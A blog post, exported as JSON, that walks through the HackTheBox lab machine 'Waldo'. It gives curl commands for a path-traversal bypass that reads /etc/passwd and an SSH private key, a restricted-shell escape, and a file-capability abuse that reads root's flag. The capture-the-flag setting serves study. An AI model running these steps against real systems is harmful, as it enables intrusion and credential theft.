{"id":265,"date":"2020-06-07T11:03:14","date_gmt":"2020-06-07T11:03:14","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=265"},"modified":"2020-06-07T11:08:59","modified_gmt":"2020-06-07T11:08:59","slug":"waldo-hackthebox-walkthrough","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/waldo-hackthebox-walkthrough\/","title":{"rendered":"Waldo: Hackthebox walkthrough"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Waldo is a <strong>medium linux<\/strong> machine from hackthebox. The initial foothold on the box is based on understanding a bunch of .php files that leads to sensitive file read such as the ssh private key. Once inside the box, linux enumeration depicts that there is a <strong>docker<\/strong> running. The user of the docker needs to be guessed to get successful entry to docker. Inside docker, there is rbash which restricts most of the commands. After successful escaping of rbash, enumeration scripts can be easily run that outputs user having some <strong>capabilities<\/strong>. The capabilities assigned can be used to do privileged file reads!!<\/p>\n\n\n\n<p>It was really a fun box to pwn! So, with all that said, lets get started!!<\/p>\n\n\n\n<p>Starting with nmap scan, there were only 2 open ports and a filtered port 8888!<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sC -sV -oA waldo.nmap 10.10.10.87<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/NXstcUhwsiXYK1nitRyG6Z-yvM2krfz3AuKvsKt0VzDhOupo655I3EnNfN8qmB8o4gCC7KarF3hefhD4zZ0nlgDdqYiGtknQBFicse6Q7FEpMHXIPR8tK4wJjN65VkxFBrQ5hWkr\" alt=\"\"\/><\/figure>\n\n\n\n<p>As always, I checked the contents of <a href=\"http:\/\/10.10.10.87\">http:\/\/10.10.10.87<\/a>, and a weird page landed.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/jUo0B-SPvLNvrgcBITL6yxWKcFP2oXVizZPfHoRWPeY40c6CKMsypaukriQ938HndqF_nexhoutUnB0OaYnjQ9Iv-zOzTcNVavoHLDkOGBPI6YU90CElKCSwJOVRUf7hlUdkQUvC\" alt=\"\"\/><\/figure>\n\n\n\n<p>Clicking through buttons, It was easy to recognize that one could add and delete lists.<\/p>\n\n\n\n<p>Also <strong>list1, list2 <\/strong>are clickable. And one can add data inside it.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/fwP4s8lCe6TCzXlZP0EHl3mfbhhlclc6nWXuDganzWBRfKj15aWI0FFZVMJyoSGuepatHfZhCwUaeM43NWKhXxzM_4TWifzx2elpyPUsTmS9Z-xkC7TuyyIIt9h7eMRsEF5ZMAY5\" alt=\"\"\/><\/figure>\n\n\n\n<p>On Viewing the page source, I found this<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/LrPzKduJUMYVsxTIzfYwFCOPUSa-qPQZMsN6hH7edLdArqiIHqDAY4AY5CdGpaj-fmo2L3VsNfq_G-BYpjU-MGIyQZ9QelOtyRG6xMa5eznO_RmyaYr9-ynctSVz3yQIiKETAzJJ\" alt=\"\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Path to getting the user<\/h2>\n\n\n\n<p><strong>Lists.js<\/strong> was executing as a part of script.<\/p>\n\n\n\n<p>Since the file was readable, I listed its contents<\/p>\n\n\n\n<pre class=\"wp-block-code scroll wpf-blue-background\"><code>function writeList(listNum, data){ \n\tvar xhttp = new XMLHttpRequest();\n\txhttp.open(\"POST\",\"fileWrite.php\",false);\n\txhttp.setRequestHeader(\"Content-type\", \"application\/x-www-form-urlencoded\");\n\txhttp.send('listnum=' + listNum + '&amp;data=' + data);\n\tif (xhttp.readyState === 4 &amp;&amp; xhttp.status === 200) {\n\t\treturn xhttp.responseText;\n\t}else{\n\t}\n}\n\n\nfunction deleteList(listNum){ \n\tvar xhttp = new XMLHttpRequest();\n\txhttp.open(\"POST\",\"fileDelete.php\",false);\n\txhttp.setRequestHeader(\"Content-type\", \"application\/x-www-form-urlencoded\");\n\txhttp.send('listnum=' + listNum);\n\tif (xhttp.readyState === 4 &amp;&amp; xhttp.status === 200) {\n\t\tlistLists();\n\t\treturn xhttp.responseText;\n\t}else{\n\t}\n}\n\n\nfunction addList(){\n\tfor (var i=1; true; i++){\n\t\tif(document.getElementById(\"list\" + i) === null){\n\t\t\twriteList(\"\" + i, \"\");\n\t\t\tlistLists();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\nfunction listLists(){\n\tdocument.getElementById(\"main\").innerHTML = '&lt;ul id=\"listOfLists\">&lt;\/ul>';\n\tvar result = JSON.parse(readDir(\".\/.list\/\"));\n\tif(result.length > 2){\n\t\tfor(var i = 2; i &lt; result.length; i++){\n\t\t\tdocument.getElementById(\"listOfLists\").innerHTML += \"&lt;li>&lt;p style='cursor:pointer' id='\" + result&#91;i] \n\t\t\t\t+ \"' onclick='printList(\\\".\/.list\/\" + result&#91;i] + \"\\\")'>\" + result&#91;i] \n\t\t\t\t+ \"&lt;\/p>&lt;button onclick=deleteList('\" + result&#91;i].substring(4) + \"')>Delete&lt;\/button>&lt;\/li>\";\n\t\t}\n\t}else{\n\t\tconsole.log(\"invalid response\");\n\t}\n\tdocument.getElementById(\"main\").innerHTML += '&lt;button onclick=addList()>Add List&lt;\/button>';\n}\n\n\nfunction appendListItem(){\n\tfor(var i =1; true; i++){\n\t\tif(document.getElementById(\"listItem\"+i) === null){\n\t\t\tdocument.getElementById(\"list\").innerHTML +=  \"&lt;li>&lt;p style='cursor:text' id='listItem\" + i \n\t\t\t\t+ \"'onkeydown='return keyDownHandler(event, this)' onblur=saveList() contenteditable='true'>New Item&lt;\/p>&lt;button onclick=deleteListItem(this) name='\" \n\t\t\t\t+ i + \"'>Delete&lt;\/button>&lt;\/li>\";\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\nfunction deleteListItem(e){\n\tvar id = Number(e.getAttribute(\"name\"));\n\tvar listNum = document.getElementById(\"listName\").getAttribute(\"name\");\n\tvar json = JSON.parse(strList());\n\tif(json&#91;id] !== undefined){\n\t\tfor(var i=id; true; i++){\n\t\t\tif(json&#91;i+1] !== undefined){\n\t\t\t\tjson&#91;i] = json&#91;i+1]; \n\t\t\t}else{\n\t\t\t\tdelete json&#91;i];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\twriteList(listNum, JSON.stringify(json));\n\tprintList(\".\/.list\/list\"+listNum);\n}\n\n\nfunction strList(){\n\tvar tempJSON = {};\n\tfor(var i=1; true; i++){\n\t\tif(document.getElementById(\"listItem\"+i) !== null){\n\t\t\ttempJSON&#91;i] = revertSpecial(document.getElementById(\"listItem\"+i).innerHTML);\n\t\t}else{\n\t\t\treturn JSON.stringify(tempJSON);\n\t\t}\n\t}\n}\n\n\nfunction keyDownHandler(event, e){\n\tif(event.code === \"Enter\"){\n\t\te.blur();\t\n\t\treturn false;\n\t}\n}\n\n\nfunction saveList(){\n\tvar jsonStr = strList();\n\tvar listNum = document.getElementById(\"listName\").getAttribute(\"name\");\n\treturn writeList(listNum, jsonStr);\n}\n\n\nfunction revertSpecial(inStr){\n\tinStr = inStr.replace(\/&amp;nbsp;\/g, ' ');\n\tinStr = inStr.replace(\/&amp;quot;\/g, '\\\\\"');\n\tinStr = inStr.replace(\/&amp;num;\/g, '#');\n\tinStr = inStr.replace(\/&amp;dollar;\/g, '$');\n\tinStr = inStr.replace(\/&amp;percnt;\/g, '%');\n\tinStr = inStr.replace(\/&amp;amp;\/g, '&amp;');\n\tinStr = inStr.replace(\/&amp;apos;\/g, \"\\\\'\");\n\tinStr = inStr.replace(\/&amp;lpar;\/g, '(');\n\tinStr = inStr.replace(\/&amp;rpar;\/g, ')');\n\tinStr = inStr.replace(\/&amp;ast;\/g, '*');\n\tinStr = inStr.replace(\/&amp;plus;\/g, '+');\n\tinStr = inStr.replace(\/&amp;comma;\/g, ',');\n\tinStr = inStr.replace(\/&amp;minus;\/g, '-');\n\tinStr = inStr.replace(\/&amp;period;\/g, '.');\n\tinStr = inStr.replace(\/&amp;colon;\/g, ':');\n\tinStr = inStr.replace(\/&amp;sol;\/g, '\/');\n\tinStr = inStr.replace(\/&amp;semi;\/g, ';');\n\tinStr = inStr.replace(\/&amp;lt;\/g, '&lt;');\n\tinStr = inStr.replace(\/&amp;equals;\/g, '=');\n\tinStr = inStr.replace(\/&amp;gt;\/g, '>');\n\tinStr = inStr.replace(\/&amp;quest;\/g, '?');\n\tinStr = inStr.replace(\/&amp;commat;\/g, '@');\n\tinStr = inStr.replace(\/&amp;lsqb;\/g, '&#91;');\n\tinStr = inStr.replace(\/&amp;rsbp;\/g, ']');\n\tinStr = inStr.replace(\/&amp;bsol;\/g, '\\\\\\\\');\n\tinStr = inStr.replace(\/&amp;Hat;\/g, '^');\n\tinStr = inStr.replace(\/&amp;lowbar;\/g, '_');\n\tinStr = inStr.replace(\/&amp;grave;\/g, '`');\n\tinStr = inStr.replace(\/&amp;lcub;\/g, '{');\n\tinStr = inStr.replace(\/&amp;rcub;\/g, '}');\n\tinStr = inStr.replace(\/&amp;verbar;\/g, '|');\n\tinStr = inStr.replace(\/\\\\\/g, '\\\\\\\\');\n\tinStr = inStr.replace(\/\"\/g, '\\\\\\\"')\n\treturn escape(inStr);\n}\n\n\nfunction readDir(path){ \n\tvar xhttp = new XMLHttpRequest();\n\txhttp.open(\"POST\",\"dirRead.php\",false);\n\txhttp.setRequestHeader(\"Content-type\", \"application\/x-www-form-urlencoded\");\n\txhttp.send('path=' + path);\n\tif (xhttp.readyState === 4 &amp;&amp; xhttp.status === 200) {\n\t\treturn xhttp.responseText;\n\t}else{\n\t}\n}\n\n\nfunction readFile(file){ \n\tvar xhttp = new XMLHttpRequest();\n\txhttp.open(\"POST\",\"fileRead.php\",false);\n\txhttp.setRequestHeader(\"Content-type\", \"application\/x-www-form-urlencoded\");\n\txhttp.send('file=' + file);\n\tif (xhttp.readyState === 4 &amp;&amp; xhttp.status === 200) {\n\t\treturn xhttp.responseText;\n\t}else{\n\t}\n}\n\n\nfunction printList(file){\n\tdocument.getElementById(\"main\").innerHTML = \"&lt;h2 id=\\\"listName\\\" name='\" + file.substring(12) + \"'>\" + file.split(\"\/\")&#91;2] + \"&lt;\/h2>\";\n\tdocument.getElementById(\"main\").innerHTML += \"&lt;ol id=list>&lt;\/ol>\";\n\tvar contents = JSON.parse(JSON.parse(readFile(file))&#91;'file']);\n\tfor(var i =1; true; i++){\n\t\tif(contents&#91;i] === undefined){\n\t\t\tbreak;\n\t\t}\n\t\tdocument.getElementById(\"list\").innerHTML +=  \"&lt;li> &lt;p style='cursor:text' id='listItem\" + i \n\t\t\t+ \"'onkeydown='return keyDownHandler(event, this)' onblur=saveList() contenteditable='true'>\" \n\t\t\t+ contents&#91;i] + \"&lt;\/p>&lt;button onclick=deleteListItem(this) name='\" + i + \"'>Delete&lt;\/button>&lt;\/li>\";\n\t}\n\tdocument.getElementById(\"main\").innerHTML += '&lt;button onclick=appendListItem()>Add&lt;\/button>';\n\tdocument.getElementById(\"main\").innerHTML += '&lt;button onclick=listLists()>Back&lt;\/button>';\n}\n\n\nfunction toggleHint() {\n\t\tvar e = document.getElementsByClassName('content-block');\n\t\tfor(var i = 0; i &lt; e.length; i++){\n\t\t\tif(e&#91;i].style.display == 'block' || e&#91;i].style.display == '')\n\t\t\t\te&#91;i].style.display ='none';\n\t\t\telse\n\t\t\t\te&#91;i].style.display ='block';\n\t\t}\n\t\tsetTimeout(function(){\n\t\t\tvar e = document.getElementsByClassName('content-block');\n\t\t\tfor(var i = 0; i &lt; e.length; i++){\n\t\t\t\tif(e&#91;i].style.display == 'block' || e&#91;i].style.display == '')\n\t\t\t\t\te&#91;i].style.display ='none';\n\t\t\t\telse\n\t\t\t\t\te&#91;i].style.display ='block';\n\t\t\t}\n\t\t}, 1000);\n}\n<\/code><\/pre>\n\n\n\n<p>Viewing at the various function, I saw a lot of filename being used such as <strong>dirRead.php, fileRead.php, fileWrite.php<\/strong>. Sounded interesting!!<\/p>\n\n\n\n<p>I quickly intercepted the request for adding the list and inserting data to the list.<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>POST \/fileWrite.php HTTP\/1.1\nHost: 10.10.10.87\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:76.0) Gecko\/20100101 Firefox\/76.0\nAccept: *\/*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-type: application\/x-www-form-urlencoded\nContent-Length: 218\nOrigin: http:\/\/10.10.10.87\nConnection: close\nReferer: http:\/\/10.10.10.87\/list.html\n \nlistnum=1&amp;data={\"1\":\"New%Item\",\"2\":\"New%20Item\",\"3\":\"New%20Item\"}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>POST \/dirRead.php HTTP\/1.1\nHost: 10.10.10.87\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:76.0) Gecko\/20100101 Firefox\/76.0\nAccept: *\/*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-type: application\/x-www-form-urlencoded\nContent-Length: 13\nOrigin: http:\/\/10.10.10.87\nConnection: close\nReferer: http:\/\/10.10.10.87\/list.html\nCache-Control: max-age=0\n \npath=.\/.list\/<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>POST \/fileRead.php HTTP\/1.1\nHost: 10.10.10.87\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:76.0) Gecko\/20100101 Firefox\/76.0\nAccept: *\/*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-type: application\/x-www-form-urlencoded\nContent-Length: 18\nOrigin: http:\/\/10.10.10.87\nConnection: close\nReferer: http:\/\/10.10.10.87\/list.html\n \nfile=.\/.list\/list1<\/code><\/pre>\n\n\n\n<p>Looking at these requests, I found one thing common. All of them were taking some <strong>post parameter<\/strong>. So according to the requests, list was a directory and list1 was a file having contents in it. And with the help of <strong>fileRead.php<\/strong> one could easily read<strong> .\/.list\/list1<\/strong>. Cool!!<\/p>\n\n\n\n<p>First thing that came to my mind was <strong>directory traversal<\/strong> to read sensitive files. I tried around for a while, but something was going wrong!<\/p>\n\n\n\n<p>I realized that i could potential read the contents of fileRead.php so study what exactly its doing. And we knew that the path for fileRead.php will be same as list ( implied from from list.js ).<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/zy7dthpUEmVeUdOjmjhXmVO-IXduFhclZ41lTRD35j0AwgJq3-_b7iWMeZUq3h7onHkm4qQifDrEhFTiTVr5bahoMi4o12qbSnPxb8EVTwfkEvKJ2z-_pf7Drq-9i5ufTbkbv4En\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/UW1339e0wF6aAeI3cl0pjiJIxgALlXspbrqSfL_8ysQaoHZ2ITawThb2fKnDjuIjgPpR1WvdycPnG9sIpvC0A4C54Mwyzq7CtrAcM2-w02n0O8kfHF4Y-k-iDBy3BQuFgpDUXvao\" alt=\"\"\/><\/figure>\n\n\n\n<p>Got the response in burp suite, but it was messed up. So i downloaded<strong> jq <\/strong>from apt repository. Jq is JSON processor that basically beautifies the json output making is more readable.<\/p>\n\n\n\n<pre class=\"wp-block-code scroll wpf-blue-background\"><code> \u26a1 root@kali  ~\/Desktop\/htb\/waldo> apt install jq\n\n \u26a1 root@kali  ~\/Desktop\/htb\/waldo>  curl http:\/\/10.10.10.87\/fileRead.php -d \"file=.\/fileRead.php\" | jq -r .file # file is the object having the data\n\n&lt;?php\nif($_SERVER&#91;'REQUEST_METHOD'] === \"POST\"){\n    $fileContent&#91;'file'] = false;\n    header('Content-Type: application\/json');\n    if(isset($_POST&#91;'file'])){\n   \t header('Content-Type: application\/json');\n   \t $_POST&#91;'file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST&#91;'file']);\n   \t if(strpos($_POST&#91;'file'], \"user.txt\") === false){\n   \t\t $file = fopen(\"\/var\/www\/html\/\" . $_POST&#91;'file'], \"r\");\n   \t\t $fileContent&#91;'file'] = fread($file,filesize($_POST&#91;'file']));  \n   \t\t fclose();\n   \t }\n    }\n    echo json_encode($fileContent);\n}\n<\/code><\/pre>\n\n\n\n<p>After reading the code, I realized why I was unable to perform directory traversal. Its because the <strong><span class=\"has-inline-color has-vivid-red-color\">str_replace <\/span><\/strong>is replacing<strong> \u201c..\/\u201d<\/strong> with<strong> \u201c\u201d<\/strong>. But the loophole here is that str_replace does the replacement only one time it encounters \u201c..\/\u201d. Therefore if we write,<strong> \u201c\u2026.\/\/<\/strong>\u201d, it will replace one \u201c..\/\u201d to \u201c\u201d but will leave the other one forming as it is and this can potentially bypass the constraints.\u00a0<\/p>\n\n\n\n<p>I tried reading the contents of \/etc\/passwd with the above bypass and it worked!!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/MwTDygSEXwGXZQiw9jqsFpuLyjEpKMroZ8YQvgAB_iUh-VibcWAMa75g3oDwSxfuHRw_HWtUBezNaXDKxhQ8EssZnNQIj-9KuCuLmd6C_vIjRC_YNExegpihpkcUjz_edstD06f7\" alt=\"\"\/><\/figure>\n\n\n\n<p>To get a good formatted result, I made a post request with curl.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&nbsp;# curl http:\/\/10.10.10.87\/fileRead.php -d \"file=....\/\/....\/\/....\/\/etc\/passwd\" | jq -r .file<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/ypiIH_9t-VQD143ff4fkhcne7924QeZn5EjdBqEjmmB8BhSQNyYjhcwmu13XwqQyuHT9zFQUwP-ae-4RC_4Axl3LrHXNW6xrYUEoI2K1TTaHiep6C5Fe5jOfOOXwr-TkJKLcOW2X\" alt=\"\"\/><\/figure>\n\n\n\n<p>With the result, I found out that nobody is the user present on the box with <strong>\/bin\/sh<\/strong> shell. Cool!<\/p>\n\n\n\n<p>That means that we could potentially grab user.txt as well.<\/p>\n\n\n\n<p>Changing -d in curl to <strong>\u2026.\/\/\u2026.\/\/\u2026.\/\/home\/nobody\/user.txt<\/strong> fetched the <strong>user.txt<\/strong>. Awesome! Without having a shell I was able to grab the user flag.\u00a0<\/p>\n\n\n\n<p>But what next??? I was still leading nowhere after getting the user flag.<\/p>\n\n\n\n<p>Then i remembered that similar to fileRead.php, there was also dirRead.php.<\/p>\n\n\n\n<p>I was able to grab the contents of <strong>dirRead.php<\/strong>, by doing all the same I did for fileRead.php. By using this functionality, I could list the different files present in the directories.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/AYeXPLL6o-TKjS4xefaTgNW5YT_lNT7g8JCpJt4eUOQuGw-sYYf_XMwGWgvs34YA93m4lOqpiKFtz8V4VtfcfcePiv9XekNBBIE8XgFcCw5JUj6mmWx5FFaiPJasukqtRzj16cH8\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># curl http:\/\/10.10.10.87\/fileRead.php -d \"file=.\/dirRead.php\" | jq -r .file<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/MMFge5kqDwjNHoIIFhwHeVMQ35cyFO5Jfy-7S_oNlZCE0CEnVHr3jzFPsSEn2AJingLNRN6PhS7KqvcpWNsZ0f5JLaAXrkoB-gWprncsE0l5C-zqs04onujgASUek26MVn4nJyKn\" alt=\"\"\/><\/figure>\n\n\n\n<p>It was doing the same thing : replacing <strong>..\/ to \u201c\u201d<\/strong>. Cool!!<\/p>\n\n\n\n<p>I made a post request to dirRead.php and added the post parameter as path with its value <strong>\u2026.\/\/\u2026.\/\/\u2026.\/\/home\/nobody<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Kq-w5o0XNp7L6BH_xgf8_I5ypXR_CbLSCB_B4Ot2jeIzibP4_4llPkWHu9DzxyrUue_x6Z1tdD7LqbLXNLUUQ1LKoRlVyVSHSqbjdqLOPAiMvgIZLmP4UW_BIFH16dtKza46eZCY\" alt=\"\"\/><\/figure>\n\n\n\n<p>A response was obtained with .ssh present inside <strong>\/home\/nobody.<\/strong> Next I listed the contents of .ssh directory.<\/p>\n\n\n\n<p>With path = <strong>\u2026.\/\/\u2026.\/\/\u2026.\/\/home\/nobody\/.ssh<\/strong><\/p>\n\n\n\n<p>The result showed that the private key name couldnt be brute-forced. Here .monitor was the name of private key!!!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/XurdZkLe39ZaNhKCsCL-E4mokcJE8YqVGgiaM-qwZCuo2V5oHHplGc0XrzlnTRtE6Nfr9HwiEjq1ubelEJ4P1oTOF7Z-4M4mH7wxk9e9vv4ECw0a4_BfcCX7VgHGZrXkdir7HZIr\" alt=\"\"\/><\/figure>\n\n\n\n<p>Again with fileRead.php, I read the contents of .monitor and piped it to the file on local machine. Also changed the permissions of the file to 600.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># curl http:\/\/10.10.10.87\/fileRead.php -d \"file=....\/\/....\/\/....\/\/home\/nobody\/.ssh\/.monitor\" | jq -r .file &gt;id_rsa; chmod 600 id_rsa\n<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/5HDK3CJZOxfgQM7h7alA-vnTt3C0cWGMBk4dNgArNtDiD98SpizNI2ckciJI-NmXt-AwCiuD0RSccsC1MNvfvUnxPGIdD6-8jQHERFTimdpJ-kvzFg62xDUPSuem9XtMSKogF7H2\" alt=\"\"\/><\/figure>\n\n\n\n<p>Nobody is now logged in!! Grab the user.txt if not done earlier.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pwning the root!!!<\/h2>\n\n\n\n<p>I downloaded <a href=\"https:\/\/github.com\/carlospolop\/privilege-escalation-awesome-scripts-suite\">linpeas.sh<\/a> on the waldo machine and enumerated!<\/p>\n\n\n\n<p>One interesting thing was having supervisord on the box and the other was, there was a <strong>docker <\/strong>running on the machine.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/h9cqZjyYvtFZfRu6l_xvNURQpXx8L7yBHyRZy4yspikcL5TefiU10DyB6afgRQMd25Nl6RI_sOUj8OwnVgNgvdOThlJFkD0kxN1dKcvItrhXnlReEH8gez94DJRrkOiE3J59lTTH\" alt=\"\"\/><\/figure>\n\n\n\n<p>I tried to ssh using user- nobody, but had no luck. Then I did some guess work. The name of the ssh private key was <strong>.monitor <\/strong>and that was weird. So maybe it could have been the user of docker.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"> waldo:~$ cd .ssh\n waldo:~\/.ssh$ ssh -i .monitor monitor@172.17.0.1<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/LmcvjrBz2s7y2ikY9DoNIXymfcVbpUkGDXKIMQZ5dgB4CNfA8HiJmiCXsMHgTCNfcisctAN2dXFbP3vV6pYWSxtcKoPogGpdqWjRsD0fZ_wARrSNRtfzJ9fnZTTx1WZhHqB5AIhu\" alt=\"\"\/><\/figure>\n\n\n\n<p>I was inside docker, but simple commands like cd too was restricted. That implies that I maybe in a rbash shell.\u00a0<\/p>\n\n\n\n<p>We can also check that with the following command.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">#echo $SHELL<br> \/bin\/rbash<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/fRxCNmTJ9AJpoJBOUz-UzoEKvV5Fku_PO8ksqAKYnP-t_X0ZyOfEcMRs02LbmcftFFXuXywad-T36PAqZMzEnlCkjzTc_DtCj8ihWoQxX9ycTlrzKPhKdL39RdGHP9TBKUe9HKzt\" alt=\"\"\/><figcaption>Commands that were working<\/figcaption><\/figure>\n\n\n\n<p>Then i ran echo <strong>$PATH<\/strong> to see the path for the user. On listing the contents of various paths, I found logMonitor having the permissions of rwx. That was exactly. what i wanted. Now I can modify this file to escape the <strong>rbash restrictions<\/strong>.<\/p>\n\n\n\n<p>I opened <strong>app-dev\/logMonitor with red.<\/strong>\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/PHkl_sUivLLrAWNDb7c29GM2Y2tOjwKWzlf1T8fSHe7yh4D2rr3hAGbHvllY67xfKDaq1MXxpf54VwThHhUuDM-_lGJg9i81ODY3GbxkRvCMgRZJeFUSC33rT8sG_-Tsm6QaNjSP\" alt=\"\"\/><\/figure>\n\n\n\n<p>red is an utility used to create, display, modify and otherwise manipulate text files. Its a line-oriented text editor. Here, r stands for restricted making it restricted ed.<\/p>\n\n\n\n<p>w is used to write contents to the file&nbsp;<br> q quits from the red editor<br> \/bin\/bash will be appended to the end of <b>logMonitor<\/b> file<\/p>\n\n\n\n<p>When logMonitor is now executed, \/bin\/bash gets executed that eventually escapes the rbash.<\/p>\n\n\n\n<p>Now commands like <strong>cd started to work<\/strong>, but there was still a problem. The $PATH didnt got updated and as a result, commands like wget, curl, nc (that were present on base machine) were not working.<\/p>\n\n\n\n<p>So run echo $PATH on attacking machine.&nbsp;<\/p>\n\n\n\n<p>Paste that output into command on the docker<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># export PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin<\/pre>\n\n\n\n<p>This will update the path of the current user leading to working of every binary present on the docker.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/aDzHH0k3R31z6o7cFPJ12r93o2na6j83HJk3Z_e2-2chGmhqc890klH3mFNlfASKGlmNZ-fC-PFjfjCN1k0ha6ZckhfmyumFuOpsJvfHMlEPlAYfB7sFdvplT60jppvu-OG06J1w\" alt=\"\"\/><\/figure>\n\n\n\n<p>So now that we are again in a normal shell, lets grab linpeas.sh from attacking machine.<\/p>\n\n\n\n<p>In the output, I found a section of capabilities and <strong>\/usr\/bin\/tac<\/strong> had <strong>cap_dac_read_search+ei<\/strong> capabilities.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/VG5LyTfM6immOcZaiy9cGIsy6LP3xfayx2Osm6o_qGeiTQXBBTm21D4qjybSU_f8xIGwm1OT6RrU1yMC3r0iqQbvzYzWJlQTQ2jt1DjgWKndhDoz6qVUzqST7WSDdiKoubgK-BOf\" alt=\"\"\/><\/figure>\n\n\n\n<p>Upon searching the internet for <a href=\"https:\/\/linux-audit.com\/linux-capabilities-101\/#:~:text=Linux%20capabilities%20provide%20a%20subset,independently%20be%20granted%20to%20processes.\">capabilities<\/a>, I found this:<\/p>\n\n\n\n<p style=\"background-color:#fffcf8\" class=\"has-text-color has-background has-vivid-red-color\"><strong><span class=\"has-inline-color has-very-dark-gray-color\">Linux capabilities<\/span><\/strong> provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. In our case,<span class=\"has-inline-color has-very-dark-gray-color\"> <strong>CAP_DAC_READ_SEARCH<\/strong> <\/span>bypass file read permission checks and directory read and execute permission checks.<\/p>\n\n\n\n<p>That implies that <strong>monitor <\/strong>can read any file on the box using the tac command. <\/p>\n\n\n\n<p style=\"background-color:#fff4e3\" class=\"has-text-color has-background has-vivid-red-color\"><em>tac<\/em> command in <em>Linux<\/em> is used to concatenate and print files in reverse. his command writes each FILE to standard output, the last line first.\u00a0<\/p>\n\n\n\n<p>Also I found a link to <a href=\"https:\/\/gtfobins.github.io\/gtfobins\/tac\/\"><strong>gtfobins<\/strong><\/a>, where tac can be exploited.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/O2_yX2zqaYpPOWFWT1hwjfLxqz3C7fj_WiYUeNJ_rUUNF3BxM0kQ4u0Ax3QPCJU4FisCp0hHZO9oqnudRKS0CikPB9RaDbsstPkH3l7Asgrl5kpVtlMIvCUY9VRoFyMyKhj3hba9\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># \/usr\/bin\/tac \/root\/root.txt<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/NguzQ6CQOp7UJBUAJbwIY_38twVH2c4Ay5J2fD2MTWuqqILqaMXrldeUij9qg7QKkcf6i9NwPIsM_PuUVTai4ZodzDSKpI96aIiyNCfJwjZNwLayHkeD6tjLRsfUxpgYLc7U03dI\" alt=\"\"\/><\/figure>\n\n\n\n<p>Thats all for the blog post!! Thanks for reading. For more content on infosec visit <a href=\"https:\/\/shreyapohekar.com\">here<\/a> <\/p>\n\n\n\n<p>Until then, happy hunting!!<\/p>\n\n\n","protected":false},"excerpt":{"rendered":"<p>Waldo is a medium linux machine from hackthebox. The initial foothold on 